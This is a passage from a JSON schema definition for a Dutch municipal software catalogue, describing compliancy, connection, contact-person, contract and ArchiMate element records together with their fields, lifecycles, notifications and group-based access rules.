- "type": "string", - "format": "url", - "order": 7, - "facetable": false, - "title": "Source", - "maxLength": 500, - "example": "Bijvoorbeeld: https://www.baselineinformatiebeveiligingoverheid.nl" - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "thema", - "objectDescriptionField": "omschrijving", - "autoPublish": true - } - }, - "compliancy": { - "uri": null, - "slug": "compliancy", - "title": "Compliancy", - "description": "Schema voor compliancy en standaard ondersteuning", - "version": "0.0.12", - "omschrijving": "", - "icon": "CheckCircle", - "required": [], - "properties": { - "standardVersion": { - "description": "Standaardversie die door deze compliance wordt ondersteund", - "type": "object", - "order": 1, - "title": "Standard version", - "visible": true, - "facetable": false, - "objectConfiguration": { - "handling": "related-object", - "queryParams": "gemmaType=standaardversie" - }, - "$ref": "#/components/schemas/element" - }, - "standardGemma": { - "description": "Het gemma id van de standaardversie die door deze compliance wordt ondersteund", - "type": "string", - "order": 1, - "title": "GEMMA standard", - "visible": true, - "facetable": false - }, - "bioMeasure": { - "description": "BIO-maatregel die door deze compliance wordt ondersteund. Een compliancy record koppelt aan precies een van standaardversie of bioMaatregel, nooit beide.", - "type": "object", - "order": 2, - "title": "BIO measure", - "visible": true, - "facetable": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/bioMeasure" - }, - "module": { - "description": "De applicatie waarvan de compliance wordt geregistreerd", - "type": "object", - "order": 4, - "title": "Application", - "visible": true, - "facetable": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "inversedBy": "compliancy" - }, - "evidence": { - "description": "Bewijsstuk voor de compliance (bijvoorbeeld testrapport of certificaat)", - "type": "file", - "format": "base64", - "order": 5, - "title": "Evidence", - "visible": true, - "facetable": false, - "fileConfiguration": { - "allowedMimeTypes": [ - "application/pdf", - "image/jpeg", - "image/png", - "application/msword", - "application/vnd.openxmlformats-officedocument.wordprocessingml.document" - ], - "maxSize": 10485760 - } - }, - "url": { - "description": "URL naar het bewijs van de compliance", - "type": "string", - "format": "url", - "order": 1, - "title": "URL", - "visible": true, - "facetable": false - }, - "evidenceReference": { - "description": "Nextcloud Files-verwijzing naar het bewijsstuk (link, niet opslaan). De voorkeursmanier om nieuw bewijs te koppelen; het legacy base64-veld 'evidence' blijft leesbaar voor bestaande records.", - "type": "string", - "order": 6, - "title": "Evidence (Nextcloud Files)", - "visible": true, - "facetable": false - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "objectNameField": "module", - "objectSummaryField": "standardVersion", - "objectDescriptionField": "url", - "allowFiles": true, - "allowedTags": [ - "testraport" - ], - "autoPublish": true - } - }, - "connection": { - "uri": null, - "slug": "connection", - "title": "Connection", - "description": "Schema voor koppelingen tussen applicaties en systemen. ApplicatieB is voor koppelingen met andere applicaties. BuitengemeentelijkVoorziening is voor koppelingen met externe voorzieningen.", - "version": "0.3.2", - "omschrijving": "", - "icon": "TransitConnectionVariant", - "required": [ - "name" - ], - "properties": { - "name": { - "description": "Naam van de koppeling, default waarde [AppA] [<-richting->] [AppB]", - "type": "string", - "order": 1, - "required": true, - "facetable": false, - "title": "Name", - "default": "{{ moduleA }} {{ gegevensuitwisselingRichting | map: AnaarB=→, BnaarA=←, bi-directioneel=↔ }} {{ moduleB | buitengemeentelijkVoorziening }}", - "defaultBehavior": "falsy", - "table": { - "default": true - }, - "example": "Bijvoorbeeld: API Koppeling" - }, - "shortDescription": { - "description": "Een korte omschrijving van de koppeling (maximaal 256 karakters).", - "type": "string", - "table": { - "default": true - }, - "order": 5, - "facetable": false, - "title": "Short description", - "example": "Bijvoorbeeld: Korte beschrijving van de koppeling" - }, - "longDescription": { - "description": "Uitgebreide beschrijving van de koppeling", - "type": "string", - "format": "markdown", - "order": 6, - "facetable": false, - "title": "Long description", - "example": "Bijvoorbeeld: Uitgebreide beschrijving van de koppeling" - }, - "type": { - "description": "kies de techniek van de koppeling", - "type": "string", - "order": 1, - "facetable": false, - "title": "Transport protocol", - "enum": [ - "n/a", - "file transfer", - "digikoppeling", - "message que", - "upload to portal", - "webservices", - "api" - ], - "example": "Bijvoorbeeld: api" - }, - "status": { - "description": "Geef de status van de koppeling aan, default 'in gebruik'", - "type": "string", - "order": 3, - "facetable": false, - "title": "Status", - "default": "in use", - "table": { - "default": true - }, - "enum": [ - "in development", - "in use", - "end of support", - "withdrawn" - ] - }, - "dateInDevelopment": { - "description": "Startdatum van de ontwikkelingsfase", - "type": "string", - "format": "date", - "order": 4, - "facetable": false, - "title": "Date in development", - "example": "Bijvoorbeeld: 2025-01-01" - }, - "dateInUse": { - "description": "Startdatum van gebruik", - "type": "string", - "format": "date", - "order": 5, - "facetable": false, - "title": "Date in use" - }, - "dateEndSupport": { - "description": "Startdatum einde ondersteuning", - "type": "string", - "format": "date", - "order": 6, - "facetable": false, - "title": "End of support date" - }, - "dateWithdrawn": { - "description": "Datum waarop de koppeling teruggetrokken is", - "type": "string", - "format": "date", - "order": 7, - "facetable": false, - "title": "Date withdrawn" - }, - "dataExchangeDirection": { - "description": "Kies welke applicatie de gegevens verzendt en welke deze ontvangt.", - "type": "string", - "order": 8, - "title": "Data exchange direction", - "facetable": false, - "required": true, - "enum": [ - "AtoB", - "BtoA", - "bi-directional" - ] - }, - "moduleA": { - "description": "Geselecteerde applicatie, niet wijzigbaar", - "type": "object", - "order": 9, - "facetable": false, - "required": false, - "table": { - "default": true - }, - "title": "Application A", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "inversedBy": "connection" - }, - "moduleB": { - "description": "Kies de applicatie waarmee gekoppeld wordt.", - "type": "object", - "required": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "order": 10, - "facetable": false, - "table": { - "default": true - }, - "title": "Application B" - }, - "nonMunicipalProvision": { - "description": "Buitengemeentelijke voorziening waarmee gekoppeld wordt", - "type": "object", - "order": 11, - "facetable": false, - "table": { - "default": true - }, - "title": "Inter-municipal facility", - "objectConfiguration": { - "handling": "related-object", - "queryParams": "gemmaType=Buitengemeentenlijke voorziening" - }, - "$ref": "#/components/schemas/element" - }, - "standardVersions": { - "description": "Kies de standaardversie(s) waarop de koppeling is gebaseerd.", - "type": "array", - "order": 12, - "facetable": false, - "title": "Standard version", - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object", - "queryParams": "gemmaType=standaardversie" - }, - "$ref": "#/components/schemas/element" - } - }, - "realisedWithIntermediaryModule": { - "description": "Kies de intermediair, bijvoorbeeld een servicebus, via welke de koppeling loopt.", - "type": "object", - "order": 13, - "facetable": false, - "title": "Intermediary", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "inversedBy": "connection" - }, - "provider": { - "referenceSemanticType": "https://openregister.app/ns#Vendor", - "description": "De aanbieder van deze koppeling", - "type": "object", - "visible": false, - "order": 14, - "table": { - "default": true - }, - "facetable": false, - "title": "Provider", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/organization" - }, - "service": { - "description": "De dienst die deze koppeling gebruikt", - "type": "object", - "visible": false, - "order": 15, - "facetable": false, - "title": "Service", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/catalogService", - "inversedBy": "koppelingen" - }, - "registeredBy": { - "description": "Technische property die wordt gebruikt voor RBAC-doeleinden (toegangsbeheer op basis van partijtype)", - "type": "string", - "order": 16, - "facetable": true, - "title": "Registered by", - "visible": false, - "hideOnForm": true, - "enum": [ - "Municipality", - "Application", - "Collaboration", - "Supplier" - ], - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "integrationType": { - "description": "Afgeleid gegeven: extern als de koppeling met een buitengemeentelijke voorziening is, anders intern", - "type": "string", - "order": 17, - "facetable": true, - "title": "Connection type", - "visible": false, - "hideOnForm": true, - "default": "{{ buitengemeentelijkVoorziening | ifFilled: external, internal }}", - "defaultBehavior": "always", - "enum": [ - "external", - "internal" - ] - }, - "publicationDate": { - "description": "Publication date as open data. Anonymous (public) readers can see this koppeling once publicatiedatum is set and not in the future. Set by the open-data publish action; cleared by depublish.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 50, - "facetable": false, - "title": "Publication date" - }, - "depublicationDate": { - "description": "Depublication date. When set (and not in the future) the koppeling is withdrawn from the open-data surface. Set by the depublish action.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 51, - "facetable": false, - "title": "Unpublication date" - } - }, - "archive": [], - "source": "internal", - "hardValidation": true, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "softwarecatalog", - "application": "softwarecatalog", - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "read": [ - { - "group": "gebruik-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "public", - "match": { - "publicationDate": { - "$lte": "$now" - } - } - }, - { - "group": "aanbod-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "aanbod-beheerder", - "match": { - "provider": "$organisation" - } - } - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ] - }, - "configuration": { - "autoPublish": false, - "objectNameField": "{{ moduleA }} {{ gegevensuitwisselingRichting | map: AnaarB=→, BnaarA=←, bi-directioneel=↔ }} {{ moduleB | buitengemeentelijkVoorziening }}", - "objectSummaryField": "shortDescription", - "objectDescriptionField": "longDescription", - "x-openregister-lifecycle": { - "field": "status", - "initial": "in development", - "final": [ - "withdrawn" - ], - "transitions": { - "release": { - "from": [ - "in development" - ], - "to": "in use", - "description": "Release the koppeling." - }, - "sunset": { - "from": [ - "in use" - ], - "to": "end of support", - "description": "Mark the koppeling as end-of-support." - }, - "withdraw": { - "from": [ - "in use", - "end of support" - ], - "to": "withdrawn", - "description": "Withdraw the koppeling." - } - } - } - } - }, - "contactPerson": { - "uri": null, - "slug": "contactPerson", - "x-schema-org": "schema:Person", - "title": "Contact person", - "description": "Contactgegevens van een persoon", - "version": "0.0.27", - "omschrijving": "", - "icon": "AccountMultiple", - "required": [ - "contactsUid" - ], - "properties": { - "contactsUid": { - "type": "string", - "description": "Verwijzing (UID) naar de Nextcloud-contactpersoon in het adresboek (OCP\\Contacts\\IManager). Identiteit (naam, e-mail, telefoon) leeft in Nextcloud Contacts; dit record bewaart alleen de catalogus-specifieke rol/relatie.", - "required": true, - "visible": true, - "facetable": false, - "title": "Contact-UID", - "order": 0, - "maxLength": 255, - "example": "Bijvoorbeeld: 3f2b0c5e-1234-4a9b-8c1d-9f0e1a2b3c4d" - }, - "role": { - "description": "Functie van de medewerker", - "type": "string", - "visible": true, - "minLength": null, - "maxLength": 100, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Job title", - "order": 4, - "example": "Bijvoorbeeld: Beheerder" - }, - "organization": { - "type": "object", - "title": "Organization", - "description": "De organisatie waartoe deze contactpersoon behoort", - "visible": false, - "hideOnCollection": true, - "facetable": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/organization", - "order": 9 - }, - "notifications": { - "type": "array", - "title": "Notifications", - "description": "Lijst van notificaties voor deze contactpersoon", - "facetable": false, - "visible": false, - "hideOnCollection": true, - "items": { - "type": "string" - }, - "order": 11, - "example": "Bijvoorbeeld: ['Nieuw in organisatie', 'Gewijzigd in de organisatie']" - }, - "roles": { - "description": "De rollen die deze contactpersoon heeft", - "title": "Roles", - "type": "array", - "visible": true, - "facetable": false, - "order": 7, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "register": "", - "writeBack": false, - "removeAfterWriteBack": false, - "items": { - "type": "string", - "enum": [ - "Aanbod-beheerder", - "Gebruik-beheerder", - "Gebruik-raadpleger", - "Functioneel-beheerder", - "Organisatie-beheerder" - ] - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "example": "Bijvoorbeeld: [\"Aanbod-beheerder\", \"Functioneel-beheerder\"]", - "authorization": { - "update": [ - "gebruik-beheerder", - "admin" - ] - } - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "1", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - "gebruik-beheerder", - "gebruik-raadpleger", - { - "group": "aanbod-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "ambtenaar", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "functioneel-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisatie-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisaties-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "software-catalog-users", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "software-catalog-admins", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "vng-raadpleger", - "match": { - "_organisation": "$organisation" - } - } - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "contactsUid", - "objectDescriptionField": "role", - "autoPublish": true - } - }, - "catalogContract": { - "properties": { - "approvalDecisionId": { - "type": "string", - "description": "PROJECTION FIELD. The id of the decidesk Decision (decisionType contract / contract-renewal) raised for this contract's approval/sign-off, resolved via the ADR-019 integration registry. Empty until the contract is submitted for approval. stackiq never authors an approval decision locally; it raises it in decidesk and stores the returned id here for outcome reconciliation.", - "facetable": false, - "title": "Approval decision id", - "order": 20, - "example": "Bijvoorbeeld: dec-2025-0042" - }, - "approvalState": { - "type": "string", - "enum": [ - "none", - "pending", - "approved", - "rejected" - ], - "default": "none", - "description": "PROJECTION of the decidesk outcome for the approval/renewal decision — distinct from the catalog lifecycle field `status`. `none` = no decision raised; `pending` = a decidesk Decision is open; `approved` = decidesk reported an adopting outcome (this is the ONLY thing that drives the `In onderhandeling -> Actief` transition on `status`); `rejected` = decidesk rejected/withdrew (status stays `In onderhandeling`). stackiq NEVER sets `status = Actief` on its own authority — it is always a projection of an `approved` decidesk outcome. The date-driven `Actief -> Verlopen` expiry transition is catalog-local and is NOT a decision delegated to decidesk.", - "facetable": false, - "title": "Approval state", - "order": 21, - "example": "Bijvoorbeeld: pending" - }, - "service": { - "description": "De dienst waarop dit contract betrekking heeft", - "type": "object", - "facetable": false, - "required": true, - "title": "Service", - "order": 12, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/catalogService" - }, - "usage": { - "description": "Het gebruik van de voorziening waarop dit contract betrekking heeft", - "type": "object", - "facetable": false, - "required": true, - "title": "Usage", - "order": 13, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/usage" - }, - "startDate": { - "type": "string", - "format": "date", - "description": "De startdatum van het contract", - "facetable": false, - "required": true, - "title": "Start date", - "order": 10, - "example": "Bijvoorbeeld: 2025-01-01" - }, - "endDate": { - "type": "string", - "format": "date", - "description": "De einddatum van het contract (indien van toepassing)", - "facetable": false, - "title": "End date", - "order": 6, - "example": "Bijvoorbeeld: 2025-12-31" - }, - "contractNumber": { - "type": "string", - "description": "Het referentienummer van het contract", - "facetable": false, - "required": true, - "title": "Contract number", - "order": 3, - "example": "Bijvoorbeeld: CON-2025-001" - }, - "contractType": { - "type": "string", - "enum": [ - "SLA", - "Licence", - "Maintenance" - ], - "description": "Het type contract", - "facetable": false, - "required": true, - "title": "Contract type", - "order": 4, - "example": "Bijvoorbeeld: SLA" - }, - "cost": { - "type": "number", - "description": "De kosten verbonden aan het contract", - "facetable": false, - "title": "Costs", - "order": 7, - "example": "Bijvoorbeeld: 1000.00" - }, - "costPeriod": { - "type": "string", - "enum": [ - "Monthly", - "Annually", - "One-off" - ], - "description": "De periode waarop de kosten betrekking hebben", - "facetable": false, - "title": "Cost period", - "order": 8, - "example": "Bijvoorbeeld: Jaarlijks" - }, - "contactPersonProvider": { - "type": "object", - "properties": { - "name": { - "type": "string", - "title": "Name", - "description": "Full name of the supplier contact person." - }, - "email": { - "type": "string", - "title": "Email Address", - "description": "Email address of the supplier contact person." - } - }, - "description": "De contactpersoon bij de aanbieder", - "facetable": false, - "objectConfiguration": { - "handling": "nested-object" - }, - "title": "Contact person (provider)", - "order": 1 - }, - "contactPersonUser": { - "type": "object", - "properties": { - "name": { - "type": "string", - "title": "Name", - "description": "Full name of the user organisation contact person." - }, - "email": { - "type": "string", - "title": "Email Address", - "description": "Email address of the user organisation contact person." - } - }, - "description": "De contactpersoon bij de gebruiker", - "facetable": false, - "objectConfiguration": { - "handling": "nested-object" - }, - "title": "Contact person (user)", - "order": 2 - }, - "documentReference": { - "type": "string", - "description": "Referentie naar het contractdocument", - "facetable": false, - "title": "Document reference", - "order": 5, - "example": "Bijvoorbeeld: CON-2025-001.pdf" - }, - "status": { - "type": "string", - "enum": [ - "Active", - "Expired", - "In negotiation" - ], - "description": "De status van het contract", - "facetable": false, - "required": true, - "title": "Status", - "order": 11, - "example": "Bijvoorbeeld: Actief" - }, - "opmerkingen": { - "type": "string", - "description": "Aanvullende informatie over het contract", - "facetable": false, - "title": "Remarks", - "order": 9, - "example": "Bijvoorbeeld: Aanvullende opmerkingen over het contract" - }, - "decisions": { - "type": "array", - "title": "Decisions", - "description": "Approval/renewal decisions for this contract. References decidesk Decision objects (ADR-066); Decidesk owns the making and eIDAS signing.", - "x-external-register": "decidesk", - "items": { - "type": "string", - "format": "uuid", - "x-external-register": "decidesk" - }, - "referenceType": "decision", - "x-allow-create": true - }, - "licenceMetric": { - "type": "string", - "enum": [ - "Per named user", - "Per concurrent user", - "Per device", - "Per inhabitant", - "Per organisation", - "Other" - ], - "x-enum-labels": { - "Per named user": "Per named user", - "Per concurrent user": "Per concurrent user", - "Per device": "Per device", - "Per inhabitant": "Per inhabitant", - "Per organisation": "Per organisation", - "Other": "Other" - }, - "title": "Licence metric", - "description": "What one licence covers, as the contract with the supplier states it.", - "facetable": true, - "order": 14 - }, - "licencesBought": { - "type": "integer", - "minimum": 0, - "title": "Licences bought", - "description": "The number of licences this contract buys.", - "facetable": false, - "order": 15 - }, - "licencesInUse": { - "type": "integer", - "minimum": 0, - "title": "Licences in use", - "description": "The number of licences in use today, as the application owner counted them.", - "facetable": false, - "order": 16 - } - }, - "required": [ - "catalogService", - "usage", - "startDate", - "contractNumber", - "contractType", - "status" - ], - "uri": null, - "slug": "catalogContract", - "x-openregister-notifications": { - "contract-expiry": { - "trigger": { - "type": "scheduled", - "intervalSec": 86400, - "filter": { - "status": { - "operator": "equals", - "value": "Actief" - }, - "endDate": { - "operator": "withinNext", - "value": "P90D" - } - } - }, - "enabled": true, - "channels": [ - "nc-notification", - "email" - ], - "recipients": [ - { - "kind": "groups", - "groups": [ - "software-catalog-admins" - ] - }, - { - "kind": "object-acl", - "permission": "manage" - } - ], - "subject": { - "nl": "Contract verloopt: {{contractNummer}} (einddatum {{eindDatum}})", - "en": "Contract expiring: {{contractNummer}} (end date {{eindDatum}})" - } - } - }, - "title": "Contract", - "description": "Een formele overeenkomst voor het inzetten van een Dienst op een Gebruik. Beschrijft de inkooprelatie achter een Gebruik (welke organisatie welke module onder welke voorwaarden gebruikt): looptijd, kosten, contracttype en status.", - "version": "0.1.3", - "omschrijving": "", - "icon": "FileSign", - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "1", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - "ambtenaar", - "software-catalog-admins", - { - "group": "functioneel-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "gebruik-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "vng-raadpleger", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "software-catalog-users", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisatie-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisaties-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "gebruik-raadpleger", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "aanbod-beheerder", - "match": { - "_organisation": "$organisation" - } - } - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "contractNumber", - "objectDescriptionField": "contractType", - "autoPublish": false, - "linkedTypes": [ - "decidesk-decisions" - ], - "x-openregister-lifecycle": { - "field": "status", - "initial": "In negotiation", - "final": [ - "Expired" - ], - "transitions": { - "sign": { - "from": [ - "In negotiation" - ], - "to": "Active", - "description": "Sign and activate the contract." - }, - "expire": { - "from": [ - "Active" - ], - "to": "Expired", - "description": "Mark the contract as expired." - }, - "renegotiate": { - "from": [ - "Expired" - ], - "to": "In negotiation", - "description": "Re-open negotiation on an expired contract." - } - } - } - } - }, - "element": { - "uri": null, - "slug": "element", - "title": "Element", - "description": "AMEF Element - Architectuur elementen uit het ArchiMate model", - "version": "0.0.11", - "omschrijving": "", - "icon": "Cube", - "required": [ - "identifier", - "type", - "properties" - ], - "properties": { - "identifier": { - "description": "De identifier van dit Element", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "id-009fa62f25844aa3a87d252bf2b6bb0c", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "identifier", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "type": { - "description": "Het type van dit Element", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Capability", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "type", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "name": { - "description": "De naam van dit Element", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Publiceren en gebruiken van informatie over datadiensten", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "name", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "nameLong": { - "description": "De name-language van dit Element", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "nameLong", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "documentation": { - "description": "De documentation van dit Element", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Dienstenafnemers moeten in online catalogi kunnen opvragen welke diensten, met welke kenmerken, door dienstenaanbieder worden aangeboden. \\nOnder andere ontwikkelaars hebben baat bij informatie over beschikbare diensten en de vereisten voor het gebruik van de dienst (bijv. specificatie van een dienst conform de OAS-standaard).", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "documentation", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "documentationLong": { - "description": "De documentation-language van dit Element", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "documentationLong", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "properties": { - "description": "De properties van dit Element", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/property-definition", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "properties", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaType": { - "description": "Het gemma type van dit Element", - "type": "string", - "facetable": false, - "order": 10, - "title": "gemmaType", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaThema": { - "description": "Het gemma thema van dit Element", - "type": "string", - "facetable": false, - "order": 10, - "title": "gemmaThema", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaUrl": { - "description": "De gemma url van dit Element", - "type": "string", - "facetable": false, - "order": 10, - "title": "gemmaUrl", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "objectId": { - "description": "Object ID van dit Element", - "type": "string", - "facetable": false, - "title": "objectId", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "objectIdSync": { - "description": "Object ID sync van dit Element", - "type": "string", - "facetable": false, - "title": "objectIdSync", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaStatus": { - "description": "GEMMA status van dit Element", - "type": "string", - "facetable": true, - "title": "gemmaStatus", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaSubtype": { - "description": "GEMMA subtype van dit Element", - "type": "string", - "facetable": true, - "title": "gemmaSubtype", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaSorting": { - "description": "GEMMA sortering van dit Element", - "type": "string", - "facetable": false, - "title": "gemmaSorting", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaNotes": { - "description": "GEMMA toelichting van dit Element", - "type": "string", - "facetable": false, - "title": "gemmaNotes", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "gemmaGgmStatus": { - "description": "GEMMA-GGM status van dit Element", - "type": "string", - "facetable": false, - "title": "gemmaGgmStatus", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "abbreviation": { - "description": "Afkorting van dit Element", - "type": "string", - "facetable": false, - "title": "abbreviation", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "alternateName": { - "description": "Alternate name van dit Element", - "type": "string", - "facetable": false, - "title": "alternateName", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - 